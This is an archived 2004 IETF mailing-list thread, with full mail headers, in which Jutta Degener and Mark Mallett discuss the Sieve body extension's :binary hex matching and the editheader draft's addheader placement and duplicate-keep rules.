> In the new :binary stuff:
> 
> > Unlike in :content, the charset of the :binary MIME content is
> > disregarded.   Instead, the match against the keys provided in
> > the "body" statement proceeds as if the file's content data had
> > been translated into space-separated hex bytes of the form
> > [0-9a-f][0-9a-f] prior to matching
> 
> It would be nice to consider whitespace in the pattern as
> insignificant,

At first, I figured it just would be binary strings.  But that
doesn't work with everything being UTF-8.  There are lots of 
binary strings that aren't valid UTF-8.

I then tried pretending the binary is ISO-8859-1 and encoding
it in UTF-8.  But that's really too silly to explain, there
are binary sequences that aren't valid ISO-8859-1, and most
humans are bad at doing ISO-8859-1-to-UTF-8 conversions in
their head.

Okay, so we're matching against a hexdump.  Easy.  Everybody
likes hexdumps.  But that doesn't give you a way around
nybble-shift -- matching hex f5 in "ow" (6f57).

Finally, the space-separated bytes were a way of anchoring the
nybbles and still having a readable string that can be used
with existing string match mechanisms like :contains and :matches.

If you want to send a white-space-normalizer into the world,
you could do that as a generic comparator and make a lot of sense
in a lot of different contexts.  But by completely disregarding
white space, you'd do more harm than good in the context of
matching a hexdump.

> especially since one has to transform it anyway in order
> to do the comparison.

Given the ability to match against that white space and individual
nybbles (I'm not happy about that, but restricting it added more
warts than it fixed), the transformation to binary that you may
have in mind doesn't quite work in the general case anyway.

> For another, if whitespace is allowed at all, why
> not let the script writer feel free to use it the way they
> want to..

I could do that, but then I'd have to toss use of the existing match
types and define my own just for binary.  I didn't think the extra
mechanism was worth it.

> And speaking of variables, is it reasonable to make some note about
> whether the matched strings are available to the variables extension?

Given how hard to implement that is, it probably should!
What do you think it should it say?

Jutta <[e-mail]>


Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i080rgib087979 for <[e-mail]>; Wed, 7 Jan 2004 16:53:42 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i080rgZF087978 for ietf-mta-filters-bks; Wed, 7 Jan 2004 16:53:42 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from spork.sendmail.com (spork.sendmail.com [209.246.26.39]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i080reib087972 for <[e-mail]>; Wed, 7 Jan 2004 16:53:40 -0800 (PST) (envelope-from [e-mail])
Received: from foon.sendmail.com (smtp.sendmail.com [209.246.26.40]) by spork.sendmail.com (Switch-3.1.4/Switch-3.1.0) with ESMTP id i080re67000739 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=OK); Wed, 7 Jan 2004 16:53:40 -0800 (PST)
Received: from jutta.sendmail.com ([10.210.112.12]) by foon.sendmail.com (Switch-3.1.4/Switch-3.1.0) with ESMTP id i080rd8T018836; Wed, 7 Jan 2004 16:53:40 -0800
Received: by jutta.sendmail.com (Postfix, from userid 500) id 0C370179C2; Wed,  7 Jan 2004 16:53:38 -0800 (PST)
Date: Wed, 7 Jan 2004 16:53:37 -0800
From: Jutta Degener <[e-mail]>
To: "Mark E. Mallett" <[e-mail]>
Cc: [e-mail]
Subject: Re: draft-degener-sieve-editheader-01.txt
Message-ID: <[e-mail]>
References: <[e-mail]>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <[e-mail]>
User-Agent: Mutt/1.3.24i
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-mta-filters/mail-archive/>
List-ID: <ietf-mta-filters.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

On Wed, Jan 07, 2004 at 06:03:04PM -0500, Mark E. Mallett wrote:
> Two very interesting changes in this draft:
>
> >    	"addheader" [":last"] <name: string> <value: string>
> > 
> >    By default, the header field is inserted at the beginning of
> >    the existing header.  If the optional flag ":last" is
> >    specified, it is appended at the end.
> 
> What's the rationale?  So far (i.e., without hearing more), I liked it
> better the way it was: the default being to add the header at the end,
> not the beginning.  I would not mind seeing a ":first" to alter that
> behaviour though.

It's much easier to insert a header field at the beginning of
a header (one simply sends that header field, then the text of
a message).  Perhaps as a result of that, the fields at the
beginning of the message have taken on the character of a
delivery "trace", while the fields at the end of the block
typically were inserted by the client.

Some people who talked to me felt very strongly that additions
to the trace section in the right place were more in keeping with
what's considered allowable header modifications, while inserting
in the middle, with no way of tracking who did that, should only
happen if explicitly requested.  As one of the people who occasionally
has to decipher the traces to figure out where some problem originates,
that made intuitive sense to me.

> and:
> 
> >    A message modified by addheader or deleteheader MUST NOT
> >    be considered the same as the original message unless it
> >    matches the original message exactly.
> >    
> >    For example, the following code fragment
> > 
> >    	keep;
> > 	addheader "X-Flavor: vanilla"
> > 	keep;
> > 
> >    files two messages, not one.
> 
> I see where that is coming from.  If you do a "keep" after changing
> the header, it's assumed that you really meant it; and if weeding out
> duplicate "keep" operations prevents that, then you have lost some
> change.  However: you have not lost the message unless some prior
> action had deliberately caused it; any weeding out represents a script
> error rather than loss of the message, so I am not sure this is an
> improvement.

In an ambiguous and possibly erroneous situation, I prefer to err
on the side of shorter explanations and more saved information.

> One alternative: make a note that the message has changed, and if so,
> inhibit any subsequent de-duplication logic on the next action only.

That seems difficult to explain.  I don't see why the first of
any number of duplicate fileinto's etc. should receive preferential
treatment.

> BTW, in the absence of a "changed" flag, this new philosophy might also
> imply that implicit keep is once again turned on (if it had been
> turned off).  Whether it is or is not is now ambiguous.

It is my intention that the implicit keep should _not_ be restored
after a header modification.  I'll weaken the section on weeding out
duplicates to (hopefully) be less likely to inspire that idea.

> And.. what about replaceheader?

As mentioned in section 9.1, replaceheader is no longer in the draft.
My implementation still has it, but it's a vendor-specific extension
after encountering determined opposition from some members of the
work group.  If you implement it, the rules with respect to duplication
would be the same as for add- and deleteheader.

Jutta <[e-mail]>


Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i07NuWib083786 for <[e-mail]>; Wed, 7 Jan 2004 15:56:32 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i07NuW8V083785 for ietf-mta-filters-bks; Wed, 7 Jan 2004 15:56:32 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from mercury.mv.net (mercury.mv.net [199.125.85.40]) by above.proper.com (8.12.10/8.12.8) with SMTP id i07NuUib083780 for <[e-mail]>; Wed, 7 Jan 2004 15:56:30 -0800 (PST) (envelope-from [e-mail])
Received: (qmail 1488 invoked from network); 7 Jan 2004 18:56:32 -0500
Received: from iridium.mv.net (HELO mv.mv.com) (199.125.85.17) by mercury.mv.net with SMTP; 7 Jan 2004 18:56:32 -0500
X-Peer-Info: remote-ip 199.125.85.17 local-ip 199.125.85.40 local-name mercury.mv.net
Received: (qmail 27708 invoked by uid 101); 7 Jan 2004 18:56:30 -0500
From: "Mark E. Mallett" <[e-mail]>
Date: Wed, 7 Jan 2004 18:56:30 -0500
To: [e-mail]
Subject: Re: draft-degener-sieve-body-02.txt
Message-ID: <[e-mail]>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.4.1i
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-mta-filters/mail-archive/>
List-ID: <ietf-mta-filters.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

In the new :binary stuff:

> Unlike in :content, the charset of the :binary MIME content is
> disregarded.   Instead, the match against the keys provided in
> the "body" statement proceeds as if the file's content data had
> been translated into space-separated hex bytes of the form
> [0-9a-f][0-9a-f] prior to matching

It would be nice to consider whitespace in the pattern as
insignificant, especially since one has to transform it anyway in order
to do the comparison.  For one thing, at some point variable
substitution is likely to come up (even if it isn't referred to here),
and one shouldn't have to worry about framing the binary data with
spaces properly.  For another, if whitespace is allowed at all, why
not let the script writer feel free to use it the way they
want to..

And speaking of variables, is it reasonable to make some note about
whether the matched strings are available to the variables extension?

Yours,
mm


Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i07N34ib079821 for <[e-mail]>; Wed, 7 Jan 2004 15:03:04 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i07N34eo079820 for ietf-mta-filters-bks; Wed, 7 Jan 2004 15:03:04 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from mercury.mv.net (mercury.mv.net [199.125.85.40]) by above.proper.com (8.12.10/8.12.8) with SMTP id i07N33ib079813 for <[e-mail]>; Wed, 7 Jan 2004 15:03:03 -0800 (PST) (envelope-from [e-mail])
Received: (qmail 22983 invoked from network); 7 Jan 2004 18:03:04 -0500
Received: from iridium.mv.net (HELO mv.mv.com) (199.125.85.17) by mercury.mv.net with SMTP; 7 Jan 2004 18:03:04 -0500
X-Peer-Info: remote-ip 199.125.85.17 local-ip 199.125.85.40 local-name mercury.mv.net
Received: (qmail 1596 invoked by uid 101); 7 Jan 2004 18:03:04 -0500
From: "Mark E. Mallett" <[e-mail]>
Date: Wed, 7 Jan 2004 18:03:04 -0500
To: [e-mail]
Subject: Re: draft-degener-sieve-editheader-01.txt
Message-ID: <[e-mail]>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.4.1i
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-mta-filters/mail-archive/>
List-ID: <ietf-mta-filters.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Two very interesting changes in this draft:

>    	"addheader" [":last"] <name: string> <value: string>
> 
>    By default, the header field is inserted at the beginning of
>    the existing header.  If the optional flag ":last" is
>    specified, it is appended at the end.

What's the rationale?  So far (i.e., without hearing more), I liked it
better the way it was: the default being to add the header at the end,
not the beginning.  I would not mind seeing a ":first" to alter that
behaviour though.


and:

>    A message modified by addheader or deleteheader MUST NOT
>    be considered the same as the original message unless it
>    matches the original message exactly.
>    
>    For example, the following code fragment
> 
>    	keep;
> 	addheader "X-Flavor: vanilla"
> 	keep;
> 
>    files two messages, not one.

I see where that is coming from.  If you do a "keep" after changing
the header, it's assumed that you really meant it; and if weeding out
duplicate "keep" operations prevents that, then you have lost some
change.  However: you have not lost the message unless some prior
action had deliberately caused it; any weeding out represents a script
error rather than loss of the message, so I am not sure this is an
improvement.

On the flip side, anyone who has depended on duplicate "keep"
operations being weeded out will be surprised by having two messages
filed.  Likely if you have done a "keep" in the same code area as the
addheader, you probably do want the second copy.  But in another
case?  Not so clear, especially if you have done something else with
the message after changing the header.

One alternative: make a note that the message has changed, and if so,
inhibit any subsequent de-duplication logic on the next action only.
So the next "keep" would succeed unless (e.g.) "redirect" were done
first.  This would introduce a new "changed" flag, but this new text
introduces that concept anyway.  That's not as perfect as, say, views,
but it's no worse than the suggested one.

BTW, in the absence of a "changed" flag, this new philosophy might also
imply that implicit keep is once again turned on (if it had been
turned off).  Whether it is or is not is now ambiguous.

And.. what about replaceheader?  I would assume that any change made
by replaceheader would also cause the message to be considered
"different" -- but that new text explicitly calls out "editheader" and
"deleteheader" without mentioning "replaceheader," so it seems
deliberate.

Yours,
mm